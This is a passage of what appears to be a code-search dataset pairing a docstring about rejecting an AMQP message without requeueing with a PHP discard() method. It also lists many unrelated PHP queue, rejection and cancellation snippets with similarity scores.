)\n\t\t{\t// TODO: validate and write entry to database\n\t\t\t// TODO: add success message to view\n\t\t\tif( $this->db->rejectRefund( $this->_getParam('user'), $this->_getParam('user_reason') ) )\n\t\t\t{\n\t\t\t}else\n\t\t\t{\n\t\t\t}\n\t\t}\n\n\t\t// TODO: If the refunds period has closed, parse request logs against refund list, update rejected users\n\t\t$this->view->user_options = $this->db->getRefunds('REQUESTED');\n\t}", "public function submit(){\n $currentFlag\t=\t$this->contactHandler->getContactType();\n $this->updateMemcache($currentFlag);\n $this->contactHandler->getContactObj()->setType(ContactHandler::CANCEL);\n $this->contactHandler->getContactObj()->setSEEN(Contacts::NOTSEEN);\n $this->contactHandler->getContactObj()->updateContact();\n $this->handleMessage();\n //Remove from acceptance roster\n $producerObj=new Producer();\n if($producerObj->getRabbitMQServerConnected())\n {\n $chatData = array('process' => 'CHATROSTERS', 'data' => array('type' => 'CANCEL', 'body' => array('sender' => array('profileid'=>$this->contactHandler->getViewer()->getPROFILEID(),'checksum'=>JsAuthentication::jsEncryptProfilechecksum($this->contactHandler->getViewer()->getPROFILEID()),'username'=>$this->contactHandler->getViewer()->getUSERNAME()), 'receiver' => array('profileid'=>$this->contactHandler->getViewed()->getPROFILEID(),'checksum'=>JsAuthentication::jsEncryptProfilechecksum($this->contactHandler->getViewed()->getPROFILEID()),\"username\"=>$this->contactHandler->getViewed()->getUSERNAME()))), 'redeliveryCount' => 0);\n $producerObj->sendMessage($chatData);\n }\n\n // $this->updateContactSeen();\n $this->sendMail();\n }", "private static function reject($args, $invite, $auth) {\n $values = array(\n 'id'=>$invite['id'],\n 'deleted' => 't'\n );\n $s = submission_builder::build_submission($values, array('model' => 'group_invitation'));\n $r = data_entry_helper::forward_post_to('group_invitation', $s, $auth['write_tokens']);\n hostsite_show_message(lang::get(\"OK, thanks anyway. We've removed your invitation to join this group.\"));\n hostsite_goto_page($args['groups_page_path']);\n return '';\n }", "public function getIsReject()\n\t{\n\t return $this->isReject;\n\t}", "public function actionQueueReset()\n {\n if (Yii::$app->has('elasticsearch')) {\n\n }\n Yii::$app->db->createCommand()->update('{{%queue}}', ['done_at' => NULL, 'attempt' => NULL, 'reserved_at' => NULL], '')->execute();\n }", "public function later($delay, $recepient, $message, $queue = null)\n {\n $callback = [\n 'recepient' => $recepient,\n 'message' => $message,\n 'sender' => isset($sender) ? $sender : null,\n 'message_type' => isset($message_type) ? $message_type : 0\n ];\n \n return $this->queue->later($delay, 'sms@handleQueuedMessage', $callback, $queue);\n }", "public function rejectInvitation() {\n\t\t$this->autoRender = false;\n\t\t$communityId = $this->request->data['communityId'];\n\t\t$community = $this->Community->findById($communityId);\n\t\tif (!empty($community)) {\n\t\t\t$userId = $this->Auth->user('id');\n\t\t\t$this->CommunityMember->reject($communityId, $userId);\n\t\t\t//Community unfollow data\n\t\t\t$followCommunityData = array(\n\t\t\t\t'type' => FollowingPage::COMMUNITY_TYPE,\n\t\t\t\t'page_id' => $communityId,\n\t\t\t\t'user_id' => $userId\n\t\t\t);\n\t\t\t$this->FollowingPage->unFollowPage($followCommunityData);\n\t\t\t$this->Session->setFlash(__('The invitation has been rejected.'), 'success');\n\t\t} else {\n\t\t\t$this->Session->setFlash(__($this->invalidMessage), 'error');\n\t\t}\n\t}", "public function testConnectionBelowRedeliverTimeout()\n {\n $connection = Connection::fromDsn(getenv('MESSENGER_REDIS_DSN'), ['sentinel_master' => getenv('MESSENGER_REDIS_SENTINEL_MASTER') ?: null], $this->redis);\n\n $connection->cleanup();\n $connection->setup();\n\n $body = '{\"message\": \"Hi\"}';\n $headers = ['type' => DummyMessage::class];\n\n // Add two messages\n $connection->add($body, $headers);\n\n // Read first message with other consumer\n $this->redis->xreadgroup(\n $this->getConnectionGroup($connection),\n 'other-consumer2',\n [$this->getConnectionStream($connection) => '>'],\n 1\n );\n\n // Queue will not have any messages yet\n $this->assertNull($connection->get());\n }", "public function rejectSubmission(Request $request)\n {\n $submission = Usersubmissionstatus::find($request->id);\n\n // Getting employee id for current submission\n $employeeID = $submission->user_id;\n $submission->status_id = config('constant.status.L1_REJECTED');\n $status = $submission->save();\n $reviewComment = ['submission_status_id' => $request->id, 'reviewer_id' => Auth::user()->id, 'status_id' => config('constant.status.L1_REJECTED'), 'comment' => $request->review_comment, 'created_at' => Carbon::now(), 'updated_at' => Carbon::now()];\n if ($status == 1) {\n Submissionreviewcomment::insert($reviewComment);\n\n $status = $this->sendMail(config('constant.email_status.L1_REJECTED'), $employeeID);\n return response()->json(['status' => 1, 'message' => 'Sucessfully Rejected', 'email_status' => $status], 200);\n }\n else {\n return response()->json(['status' => 0, 'message' => 'There was an error processing your request, please try again'], 200); \n }\n }", "private static function removeRequestFromQueue($queue, $requestid)\n {\n self::verifyQueue($queue);\n\n self::telnetOp('jukebox_'.$queue.'.ignore '.$requestid);\n\n unset(self::$queue_cache[$queue]);\n }", "public function createRejected($reason);", "public function rollBack()\n {\n unset($this->messages[$this->lastMessageId]);\n }", "public function removeMessage(Message $message)\n {\n \\Database::getInstance()->prepare('DELETE FROM tl_nc_queue WHERE message=?')\n ->execute($message->id);\n\n return $this;\n }", "public function pop($queue);", "function reject( $booking_ids ){\n\t\treturn $this->set_status(2, $booking_ids);\n\t}", "public function closePending()\n {\n $cutOff = Carbon::now()->subMinutes(30);\n $rows = $this->storageTable()\n ->where('status', '=', 'approval_pending')\n ->whereDate('created_at', '<', $cutOff)\n ->get();\n foreach ($rows as $row) {\n $subscription = $this->buildSubscriptionFromRow($row);\n if ($subscription->open()) {\n Log::info(\"Closing Payment Subscription \" . $subscription->id\n . \" created at \" . $subscription->createdAt . \" because user never accepted it.\");\n $this->closeSubscription($subscription, 'user_declined');\n }\n }\n }", "public function testPreRejected() {\n $promise = \\React\\Promise\\When::reject(new \\Exception(\"rejected\"));\n \n $task = new \\Async\\Task\\PromiseTask($promise);\n \n // The task should be complete with an error\n $this->assertTrue($task->isComplete());\n $this->assertTrue($task->isFaulted());\n \n // The message of the task's exception should be that given to the promise\n $this->assertEquals(\"rejected\", $task->getException()->getMessage());\n }", "public function isRejected() {\n\t\treturn $this->approved == -1;\n\t}", "public function reset( $queueName ) {\n\t\t$count = 0;\n\t\tif( $queueName == 'failed' ) {\n\n\t\t\twhile( ResqueProxy::redis()->lpop( 'failed' ) ) {\n\t\t\t\t$count++;\n\t\t\t}\n\t\t} else {\n\n\t\t\tif( !in_array( $queueName, $this->queues ) ) {\n\t\t\t\tthrow new Exception( \"Queue $queueName not found\" );\n\t\t\t}\n\t\t\twhile( ResqueProxy::pop( $queueName ) ) {\n\t\t\t\t$count++;\n\t\t\t}\n\t\t}\n\n\t\t$this->out( \"Removed $count jobs from queue $queueName\" );\n\t}", "protected function setRejectedReason(array $data)\n {\n $this->rejectedReason = PaymentRejectionReason::fromArray($data);\n }", "public function reject($PropertyID) {\n try {\n $result = $this->property_model->reject($PropertyID);\n if ($result) {\n setNotification('success', 'Record updated successfully');\n redirect(base_url('admin/dashboard'));\n }\n } catch (Exception $e) {\n setNotification('error', 'Error in updating record');\n redirect(base_url('admin/dashboard'));\n }\n }", "public function delete()\n {\n parent::delete();\n\n $this->sqs->deleteMessage([\n 'QueueUrl' => $this->queue, 'ReceiptHandle' => $this->job->getReceiptHandle(),\n ]);\n }", "final public static function transactionWasRejectedByTheFraudGateway()\n {\n return self::get(2055);\n }", "static function acknowledgeMessage(AMQPMessage $message)\n\t{\n\t\t$message->delivery_info['channel']->basic_ack($message->delivery_info['delivery_tag']);\n\t}", "public function processMessages() {\n while ( ( $execution = array_shift($this->queue) ) ) { \n $execution->event('continue');\n $this->messagesDelivered++;\n }\n }", "public function isRedelivered();", "public static function reject($id)\n {\n return Order::where('id',$id)\n ->update(['status'=>'CANCELLED']);\n }", "public function leaveQueue()\n {\n if(!$this->u) return $this->returnText(self::ERR_NO_USER);\n\n $oQueueUser = QueueUser::where([\n ['user_id', '=', $this->u->id],\n ['queue_id', '=', $this->c->active]\n ])->first();\n\n if($oQueueUser)\n {\n $oQueueUser->forceDelete();\n return $this->returnText('Successfully removed from queue'. $this->q->displayName);\n }\n else\n {\n return $this->returnText('Unable to leave, you are not in queue'. $this->q->displayName);\n }\n }", "public function ReQueue(ReQueue $parameters)\n {\n return $this->__soapCall('ReQueue', array($parameters));\n }", "public function setHasBeenRejectedBefore(bool $hasBeenRejectedBefore);", "public function rejectOrder(Request $request)\n {\n $id = $request->id;\n $order = Order::where('id', $id)\n ->update(['accepted' => -1]);\n return response()->json([\n 'message' => 'Order has been Rejected',\n ], 201);\n }", "public function cancel()\n {\n $this->canceled = true;\n\n $this->save();\n\n $this->user->notify(new OrderCanceled($this));\n\n }", "public function removeMessage($id)\n {\n $filename = $this->_getFileData($id, 'filename');\n\n if ($this->_quota) {\n $size = filesize($filename);\n }\n\n if (!@unlink($filename)) {\n /**\n * @see Zend_Mail_Storage_Exception\n */\n require_once 'Zend/Mail/Storage/Exception.php';\n throw new Zend_Mail_Storage_Exception('cannot remove message');\n }\n unset($this->_files[$id - 1]);\n // remove the gap\n $this->_files = array_values($this->_files);\n if ($this->_quota) {\n $this->_addQuotaEntry(0 - (int)$size, -1);\n }\n }" ]
[ "0.7472445", "0.6896491", "0.6194057", "0.61838657", "0.611892", "0.6077838", "0.60362095", "0.58498144", "0.5742665", "0.564162", "0.55853975", "0.5522844", "0.5521283", "0.55156296", "0.55044186", "0.5496008", "0.546618", "0.5430397", "0.5378244", "0.53631556", "0.5327474", "0.53115004", "0.52865154", "0.5285154", "0.5260488", "0.52511245", "0.5212238", "0.519328", "0.51929146", "0.5178641", "0.5172", "0.51467955", "0.51429003", "0.51332873", "0.5129065", "0.51229703", "0.5122081", "0.5111836", "0.5106572", "0.50702655", "0.50583297", "0.50539076", "0.5011773", "0.500887", "0.50043327", "0.4999801", "0.49942708", "0.4988969", "0.49796635", "0.49735895", "0.49630144", "0.49492058", "0.49211425", "0.49026147", "0.4890869", "0.4887821", "0.4885395", "0.48835963", "0.48707744", "0.4866487", "0.48554045", "0.48533538", "0.4846317", "0.48190445", "0.48182487", "0.48180616", "0.48144495", "0.48133868", "0.48080927", "0.4788746", "0.47623137", "0.4758457", "0.47495258", "0.47419366", "0.47380358", "0.47344446", "0.4733734", "0.472845", "0.47272733", "0.4726102", "0.4718506", "0.47078827", "0.4703891", "0.4696038", "0.46805727", "0.46784294", "0.46732566", "0.4671838", "0.465481", "0.46529", "0.464656", "0.46457234", "0.46417293", "0.46372497", "0.46318758", "0.46188655", "0.46178925", "0.46094832", "0.46086454", "0.460771" ]
0.68715614
2
Reject the message without requeing it. The server implementation may discard the message outright, or deliver it to a deadletter queue, depending on configuration.
public function discard() { $this->channel->basic_reject( $this->tag(), false ); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function reject()\n {\n $this->channel->basic_reject(\n $this->tag(),\n true\n );\n }", "public function reject(Message $message, bool $requeue = false): void;", "public function reject() {\n }", "public function handleRejectEvent(object $message): void;", "public function reject()\n {\n return $this->setStatus(self::STATUS_REJECTED);\n }", "public function reject()\n {\n $url = URIResource::Make($this->path, array($this->id));\n $data = new DataPacket(array(\"state\" => CALL_STATES::rejected));\n $this->client->post($url, $data->get());\n\n return Constructor::Make($this, $data->get());\n }", "public function reject() {\n\t\t$query = array(\n\t\t\t'group' => $this->group->createReference(),\n\t\t\t'invitee' => $this->candidate->createReference(),\n\t\t);\n\t\t$invite = EpicDb_Mongo::db('invitation')->fetchOne($query);\n\t\tif($invite) $invite->delete();\n\t\t// Reject this application\n\t\t$this->status = \"rejected\";\n\t\t$this->save();\n\t}", "public function reject($requeue = true, $multiple = false)\n {\n $this->channel->reject($this->deliveryTag, $requeue, $multiple);\n\n return $this;\n }", "public function rejected()\n {\n $this->setStatus(self::STATUS_REJECTED);\n }", "public function reject($msg, $status_code = 500){\n\t\treturn response($msg, $status_code);\n\t}", "public function reject(...$arguments): self {\n return $this->end(self::STATE_REJECTED, $this->_failed, $arguments);\n }", "public static function reject() {\n return new Reject('Not match Atom in []');\n }", "public function nack(Message $message, $requeue = true);", "public static function reject() {\n return new Reject('Not match Reference');\n }", "public function reject_message()\n {\n return $this->hasOne('App\\Models\\Article_Reject_Messages', 'article_id');\n }", "public function reject()\n {\n if ($this->withdrawal->status == Withdrawal::STATUS_CREATED) {\n // update withdrawal model\n $this->withdrawal->status = Withdrawal::STATUS_REJECTED;\n $this->withdrawal->save();\n // create a credit transaction on user account to return funds\n $accountService = new AccountService($this->withdrawal->account);\n $accountService->transaction($this->withdrawal, $this->withdrawal->amount);\n }\n }", "public function reject(array $messages);", "private function rejectOrder($order){\r\n $this->log('Rejecting order #'.$order->get_order_number());\r\n $this->addOrderNote($order, 'La orden fue rechazada por Flow');\r\n $order->update_status('failed');\r\n }", "function _rejectFile() {\n\t\t$this->_moveFile($this->_processingPath, $this->_rejectPath, $this->_claimedFilename);\n\t}", "function resend($message_id) {\n $data = array_merge($this->_client_id_param);\n return $this->post_request($this->_base_route.'transactional/messages/' . $message_id . '/resend', $data);\n }", "public function receiveNoWait()\n {\n if ($this->currentEnvelope) {\n throw new \\RuntimeException(\n 'AmqpQueueDriver: This driver has a message that was not acknowledged yet. A message must be processed and acknowledged before receiving new messages.'\n );\n }\n\n $this->dequeueingTimeMs = 0;\n\n $this->currentEnvelope = $this->queue->get();\n\n $msg = null;\n\n if (!$this->currentEnvelope) {\n return null;\n }\n\n $start = microtime(true);\n $deserializationContext = new DeserializationContext();\n\n try{\n /** @var QueueMessageInterface $msg */\n $msg = $this->getSerializer()->deserialize($this->currentEnvelope->getBody(), SerializableInterface::class, $this->format, $deserializationContext);\n } catch (\\Exception $exception) {\n $this->getExceptionHandler()($exception, ['headers' => $this->currentEnvelope->getHeaders(), 'body' => $this->currentEnvelope->getBody()]);\n $this->ack();\n return null;\n }\n foreach ($this->currentEnvelope->getHeaders() as $header => $value) {\n $msg->setHeader($header, $value);\n }\n\n // Calculate how long it took to deserilize the message\n $this->dequeueingTimeMs = (int) ((microtime(true) - $start) * 1000);\n\n return $msg;\n }", "public function isRejected(): bool {\n return $this->_state === self::STATE_REJECTED;\n }", "public function reject($mixed = null) {\n\t\t$validParameters = array(\n\t\t\t'(orderv2\\reject)',\n\t\t);\n\t\t$args = func_get_args();\n\t\t$this->_checkArguments($args, $validParameters);\n\t\treturn $this->__soapCall('reject', $this->make_soap_params($mixed));\n\t}", "public static function reject() {\n return new Reject('Not match Organic Subset');\n }", "public function rejectInvitation() {\n\t\t$this->autoRender = false;\n\t\t$communityId = $this->request->data['communityId'];\n\t\t$community = $this->Community->findById($communityId);\n\t\tif (!empty($community)) {\n\t\t\t$userId = $this->Auth->user('id');\n\t\t\t$this->CommunityMember->reject($communityId, $userId);\n\t\t\t//Community unfollow data\n\t\t\t$followCommunityData = array(\n\t\t\t\t'type' => FollowingPage::COMMUNITY_TYPE,\n\t\t\t\t'page_id' => $communityId,\n\t\t\t\t'user_id' => $userId\n\t\t\t);\n\t\t\t$this->FollowingPage->unFollowPage($followCommunityData);\n\t\t\t$this->Session->setFlash(__('The invitation has been rejected.'), 'success');\n\t\t} else {\n\t\t\t$this->Session->setFlash(__($this->invalidMessage), 'error');\n\t\t}\n\t}", "public static function rejectMessage($id) {\n $que = \"UPDATE message SET is_approved = 'N' where id = '{$id}'\";\n $gets = mysql_query($que);\n return $gets;\n }", "public function getRejected();", "public function reject_invoice()\n\t{\n\t\tif ($_SERVER['REQUEST_METHOD'] === 'POST') {\n\t\t\tif (isset($_POST)) {\n\t\t\t\t$id = base64_decode($_POST['id']);\n\t\t\t\t$remark = validateInput($_POST['reason']);\n\t\t\t\tif ($remark != '' && $remark != null) {\n\t\t\t\t\t$tableName = 'master_invoice';\n\t\t\t\t\t$condition = array('send_status' => SENT, 'id' => $id);\n\t\t\t\t\t$result = $this->CustomModel->selectAllFromWhere($tableName, $condition);\n\t\t\t\t\tif ($result > 0) {\n\t\t\t\t\t\t$data = array('send_status' => REJECTED, 'reject_reason' => $remark);\n\t\t\t\t\t\t$res = $this->CustomModel->update_table($tableName, $condition, $data);\n\t\t\t\t\t\tif ($res > 0) {\n\t\t\t\t\t\t\techo $response = json_encode(array('message' => 'Success! Invoices rejected', 'type' => 'success'), true);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\techo $response = json_encode(array('message' => 'Error! Opps... Contact IT', 'type' => 'error'), true);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\techo $response = json_encode(array('message' => 'Error! Reject reason is required..', 'type' => 'danger'), true);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\techo $response = json_encode(array('message' => 'Error! Opps... Something went wrong, contact IT', 'type' => 'danger'), true);\n\t\t\t}\n\t\t}\n\t}", "public function rejected()\n {\n $spare_parts_orders_id = Input::get('spare_parts_orders_id');\n $data = SparePartsOrderModel::where('spare_parts_orders_id', $spare_parts_orders_id)->first();\n $data->confirmation = 'rejected';\n if ($data->save()) {\n $notification = array(\n 'message' => 'Successfully Rejected this Order.',\n 'alert-type' => 'success'\n );\n return redirect()->back()->with($notification);\n }\n }", "public function getIsReject()\n\t{\n\t return $this->isReject;\n\t}", "public function isRedelivery();", "function reject( $booking_ids ){\n\t\treturn $this->set_status(2, $booking_ids);\n\t}", "public function setGracefulReject($bool)\n {\n $this->gracefulReject = (bool)$bool;\n\n return $this;\n }", "public function reject_invite($user_id, $group_id)\n {\n\n if (!ctype_digit($group_id)) {\n abort(404);\n }\n if (!ctype_digit($user_id)) {\n abort(404);\n }\n $group = Group::find($group_id);\n $user = User::find($user_id);\n\n $this->authorize('reject_invite', [$group, $user]);\n\n $group->members()->updateExistingPivot($user_id, [\n 'membership_state' => 'rejected',\n ]);\n\n $notification = User::find($user_id)->notifications()->where('group_id', $group_id);\n $notification->delete();\n\n return back();\n }", "public function discard()\n {\n $this->_queue = array();\n\n return $this;\n }", "public static function rejected()\n {\n return (new static )->newQueryWithoutScope(new ContentPublishingScope())->rejected();\n }", "public function prune() {\n $this->connection->delete('queue')\n ->condition('name', $this->name)\n ->condition('expire', 0, '>')\n ->execute();\n }", "public function onReservationRejected(ReservationRejected $event, State $state)\n {\n $command = new RejectOrder($state->get('orderId'));\n $this->commandBus->dispatch($command);\n\n // the saga ends here\n $state->setDone();\n\n return $state;\n }", "public function receiveNoWait(): ?Message;", "public static function withRejected()\n {\n return (new static )->newQueryWithoutScope(new ContentPublishingScope())->withRejected();\n }", "public function reject(callable $callback);", "function getRejectPath() {\n\t\treturn $this->_rejectPath;\n\t}", "public function reject_article($request)\n {\n $this->status_id = 4;\n\n if($this->update()) {\n $message = new Article_Reject_Messages;\n $message->article_id = $this->id;\n $message->text = $request['reason'];\n if($message->save()){\n Session::flash('flash_message_text', 'Статья была успешно отклонена');\n Session::flash('flash_message_class', 'success');\n if(Auth::user()->user_type == 4) return redirect('/dashboard/administrator/moderation_list');\n return redirect('/dashboard/moderator/moderation_list');\n }\n else {\n Session::flash('flash_message_text', 'Ошибка создания сообщения');\n Session::flash('flash_message_class', 'danger');\n if(Auth::user()->user_type == 4) return redirect('/dashboard/administrator/moderation_list');\n return redirect('/dashboard/moderator/moderation_list');\n }\n\n }\n else {\n Session::flash('flash_message_text', 'Ошибка отклонения статьи');\n Session::flash('flash_message_class', 'danger');\n return back();\n }\n }", "public function rejectInvitation()\n\t{\n\t\t$id = $this->request->data['id'];\n\t\t$invite['MeetingUser']['id'] = $id;\n\t\t//set status 1 as accepted\n\t\t$invite['MeetingUser']['is_accept'] = 2;\n\t\t$invite['MeetingUser']['is_read'] = 1;\n\t\t$invite['MeetingUser']['is_attend'] = 0;\n\t\t//set notification\n\t\t$oldCount1 = $this->Session->read('oldMeetingCount');\n\t\tif ($oldCount1>0) {\n\t\t\t$newCount1 = $oldCount1-1;\n\t\t\t$this->Session->write('oldMeetingCount',$newCount1);\n\t\t}\n\t\tif($this->MeetingUser->save($invite))\n\t\t\techo \"1\";\n\t\telse\n\t\t\techo \"0\";\n\t\texit;\n\t}", "final public static function transactionWasRejectedByTheFraudGateway()\n {\n return self::get(2055);\n }", "function reject(Transaction $transaction, $description)\n {\n return $this->addStatus($transaction,TransactionStatus::STATUS_REJECTED,$description);\n }", "protected function addReject(Builder $builder)\n {\n $builder->macro('reject', function (Builder $builder, $id = null) {\n $builder->withAnyStatus();\n return $this->updateModerationStatus($builder, $id, Status::REJECTED);\n\n });\n }", "public static function removeMessage() {\n $con = pg_connect(\"host=\".CON_HOST.\" dbname=\".CON_DBNAME.\" user=\".CON_USER.\" password=\".CON_PASSWORD.\"\")\n or die (\"Could not connect to server.\");\n\n if($_REQUEST['id'] > 1) {\n $query = \"UPDATE message SET removed = true WHERE message_id = \". $_REQUEST['id'];\n }\n\n pg_query($con, $query) or die(\"Cannot execute the query.\");\n return true;\n }", "public function getRejectReason() {\n\t\tif(isset($this->reviewInfo->rejectReason)) {\n\t\t\treturn $this->reviewInfo->rejectReason;\n\t\t} else {\n\t\t\treturn \"\";\n\t\t}\n\t}", "public function giftRejectEmail($user)\r\n {\r\n\t\t// Mail args\r\n\t\t$args = ['user' => $user];\r\n\t\treturn $this->sendEmail('common', 'gift-reject', $user->email, $args);\r\n }", "public function rejectAction()\n\t{\trequire_once( 'form.inc' );\n\n\t\tif( $this->_getParam('user') && $this->_getParam('user_reason') )\n\t\t{\t// TODO: validate and write entry to database\n\t\t\t// TODO: add success message to view\n\t\t\tif( $this->db->rejectRefund( $this->_getParam('user'), $this->_getParam('user_reason') ) )\n\t\t\t{\n\t\t\t}else\n\t\t\t{\n\t\t\t}\n\t\t}\n\n\t\t// TODO: If the refunds period has closed, parse request logs against refund list, update rejected users\n\t\t$this->view->user_options = $this->db->getRefunds('REQUESTED');\n\t}", "public function disconnect()\n {\n if ($this->currentEnvelope) {\n throw new \\RuntimeException('Trying to disconnect with an unacknoleged message.');\n }\n\n $this->manager->disconnect();\n }", "public function ignore($queueName);", "public function execute(AMQPMessage $message): int\n {\n // The problem can be reproduced when generating invoices for 1000+ clients.\n // Random email logs were showing as still in queue even though they were correctly sent and consumed.\n usleep(100000);\n\n try {\n $this->entityManager->clear();\n $this->options->refresh();\n\n return $this->executeBody($this->getData($message));\n } catch (InvalidMessageException $exception) {\n $this->logger->error($exception->getMessage());\n\n return self::MSG_REJECT;\n } catch (ConnectionException $exception) {\n $this->logger->error('Database connection failed.');\n\n throw new RejectRequeueStopConsumerException();\n } catch (\\Throwable $exception) {\n if ($exception instanceof StopConsumerException) {\n throw $exception;\n }\n\n $this->logger->error($exception->getMessage());\n\n throw new RejectStopConsumerException();\n }\n }", "public function isRejected() {\n\t\treturn $this->approved == -1;\n\t}", "public function reject($taskid)\n {\n\t\t$task = task::find($taskid);\n\t\t\t\t\t\t\n\t\t$task->completed = 2; // to changes task status as rejected\n\t\t$task->isCommited = 0; // to reset committed flag\n $task->save();\n\t\t\n $users = task::find($taskid)->students->first()->user;\t// to get user details who belongs task\n\t\t\n\t\t$info = [\n\t\t\t'email' => $users->email,\n\t\t\t'name' => $users->name,\n\t\t\t'subject' => 'Task Reject',\n\t\t\t];\n\t\t$data = ['taskName' => $task->name]; // to send name of task in mail view\n\t\t// to sent mail to user whose task is rejected\n\t\tMail::send('mail_template.notifyTaskReject', $data, function ($message) use ($info) {\n\t\t\t$message->to($info['email'], $info['name'])\n\t\t\t->subject($info['subject']);\n\t\t});\n\t\techo \"Task Rejected and Rejection Email has been sent\";\n }", "public function acknowledge()\n {\n if ($this->acknowledged)\n return;\n if ($this->wantsRetry) {\n $this->log->info(\"Ignoring message acknowledge for retry {$this->message->id()}\");\n return;\n }\n $this->subscription->acknowledge($this->message);\n $this->acknowledged = true;\n $this->log->info(\"Acknowledged message {$this->message->id()}\");\n }", "public function rejectOrder(Request $request)\n {\n $id = $request->id;\n $order = Order::where('id', $id)\n ->update(['accepted' => -1]);\n return response()->json([\n 'message' => 'Order has been Rejected',\n ], 201);\n }", "public function reject( Request $request, Course $course ){\n\n $request->validate([\n 'body' => 'required'\n ]);\n\n // return $request->all();\n $course->observation()->create( $request->all() );\n\n $course->status = 1;\n $course->save();\n\n // Send reject email with observation to course dictated user\n $mail = new RejectCourse($course);\n\n // Send reject email inmediately\n // Mail::to( $course->editor->email )->send( $mail );\n\n // Put the email in queue in jobs database table\n Mail::to( $course->editor->email )->queue( $mail );\n\n return redirect()->route('admin.courses.index')->with('success', 'El curso ha sido rechazado');\n }", "public function removeMessage(Message $message)\n {\n \\Database::getInstance()->prepare('DELETE FROM tl_nc_queue WHERE message=?')\n ->execute($message->id);\n\n return $this;\n }", "public function saleRejectEmail($user)\r\n {\r\n\t\t// Mail args\r\n\t\t$args = ['user' => $user];\r\n\t\treturn $this->sendEmail('common', 'sale-reject', $user->email, $args);\r\n }", "public function reject(User $user)\n {\n return $user->isWaiter() ? false : true;\n }", "public function clearMessage()\n {\n $this->setMessage(null);\n $this->clearFormState();\n return $this;\n }", "public function rejectMyFriendRequest($requestingUserId)\n {\n if (empty($requestingUserId)) {\n require_once __DIR__ . '/Untappd/Exception.php';\n throw new Pintlabs_Service_Untappd_Exception('requestingUserId parameter must be set and not empty');\n }\n\n $args = array();\n\n return $this->_request('friend/reject/' . $requestingUserId, $args, true);\n }", "public function markApprovalAsRejected(User $user)\n {\n if (!$user->hasRoleSlug('expert')) {\n return $this->respondNotFound(trans('user::messages.user not found'));\n }\n\n $user->setApprovalStatus(ApprovalStatusEnum::REJECTED);\n\n event(new UserApprovalHasBeenRejected($user));\n\n return $this->respond([\n 'message' => trans('user::messages.user approval-rejected'),\n 'status' => $user->getStatus(),\n 'pending_approval' => $user->approvalIsRejected()\n ]);\n }", "private static function reject($args, $invite, $auth) {\n $values = array(\n 'id'=>$invite['id'],\n 'deleted' => 't'\n );\n $s = submission_builder::build_submission($values, array('model' => 'group_invitation'));\n $r = data_entry_helper::forward_post_to('group_invitation', $s, $auth['write_tokens']);\n hostsite_show_message(lang::get(\"OK, thanks anyway. We've removed your invitation to join this group.\"));\n hostsite_goto_page($args['groups_page_path']);\n return '';\n }", "public function reject($PropertyID) {\n try {\n $result = $this->property_model->reject($PropertyID);\n if ($result) {\n setNotification('success', 'Record updated successfully');\n redirect(base_url('admin/dashboard'));\n }\n } catch (Exception $e) {\n setNotification('error', 'Error in updating record');\n redirect(base_url('admin/dashboard'));\n }\n }", "public function broadcastOn()\n {\n return new Channel('cancel');\n }", "public function reject( $id ) {\n\t\treturn ( new TripController() )->destroy( $id );\n\t}", "public function setDenyMessage($denyMessage)\n {\n $this->denyMessage = $denyMessage;\n\n return $this;\n }", "public function isRedelivered();", "public function rejectGroupInvitation(GroupInvitation $invitation, User $user)\n {\n $invited = $invitation->getInvited();\n \n if ($user !== $invited || 0 != $invitation->getStatus()) {\n return $this->helper->prepareForErrorResponse(self::NO_PERMISSION);\n }\n\n $invitation->setStatus(2);\n\n $this->entityManager->persist($invitation);\n $this->entityManager->flush();\n\n return $this->helper->prepareForSuccessResponse([\n 'status' => self::META_SUCCESS,\n 'invitation' => self::META_REJECTED\n ]);\n }", "public function getDenyMessage()\n {\n return $this->denyMessage;\n }", "public function consume($eventMessage)\n {\n try {\n $message = $this->serializer->unserialize($eventMessage);\n $this->logger->debug('Got message: ' . $eventMessage);\n $lastAttempt = $message->getLastSendAttempt();\n if ($lastAttempt) {\n $this->logger->debug(sprintf(\n \"I have already tried to send this message before. Last attempt was on %s\",\n $lastAttempt->getTimestamp()->format('c')\n ));\n\n $elapsedWaitTime = $lastAttempt->getElapsedTime();\n $remainingWaitTime = $this->configuration->resendDelay - $elapsedWaitTime;\n\n if ($elapsedWaitTime < $this->configuration->resendDelay) {\n $this->logger->debug(sprintf(\n \"I will not yet attempt to re-send it (waiting for %s more seconds to elapse)\",\n $remainingWaitTime\n ));\n return false; //we don't acknowledge the message, so it remains in queue\n }\n }\n\n $this->logger->debug('Sending...');\n $response = $this->mailer->send($message);\n if ($response->isSuccessful()) {\n if ($this->configuration->triggerSentEvents) {\n $this->eventProducer->produce(\n $eventMessage,\n $this->topicGenerator->generate([\n $this->configuration->topicSent,\n ])\n );\n }\n $this->logger->info('Sent: ' . $eventMessage);\n } else {\n if ($this->configuration->triggerFailedEvents) {\n $this->eventProducer->produce(\n $eventMessage,\n $this->topicGenerator->generate([\n $this->configuration->topicFailed,\n ])\n );\n }\n $this->logger->error('Failed [recipient denied]: ' . $eventMessage);\n }\n\n return true; //we acknowledge the message, so it is taken out of queue\n\n } catch (SerializationException $se) {\n\n $this->eventProducer->produce(\n $eventMessage,\n $this->topicGenerator->generate([\n $this->configuration->topicException,\n ])\n );\n $this->logger->error('Exception [serialization exception]: ' . $eventMessage);\n return true; //we acknowledge the message, so it is taken out of queue\n\n } catch (ResponseException $re) {\n\n $this->logger->debug(sprintf('ResponseException: %s', $re->getMessage()));\n $sendAttempt = new SendAttempt();\n $sendAttempt->setStatus(SendAttempt::STATUS_ERROR);\n $sendAttempt->setError($re->getMessage());\n $message->addSendAttempt($sendAttempt);\n if ($message->countSendAttempts() < $this->configuration->sendAttempts) {\n $this->logger->debug('Putting the message back onto queue');\n $this->enqueuer->enqueue($message);\n } else {\n $this->eventProducer->produce(\n $eventMessage,\n $this->topicGenerator->generate([\n $this->configuration->topicException,\n ])\n );\n $this->logger->error('Failed [response exception]: ' . $eventMessage);\n }\n\n return true; //we acknowledge the message, so it is taken out of queue\n }\n }", "public function reject()\n {\n $type = $this->input->get('type');\n $id = $this->input->get('id');\n\n $this->model_review->reject($type, $id);\n\n redirect($_SERVER['HTTP_REFERER']);\n }", "public function rejectInvite($inviterID) {\n\t\treturn ConnectionFactory::DeleteRowFromTable(\"agencies\", 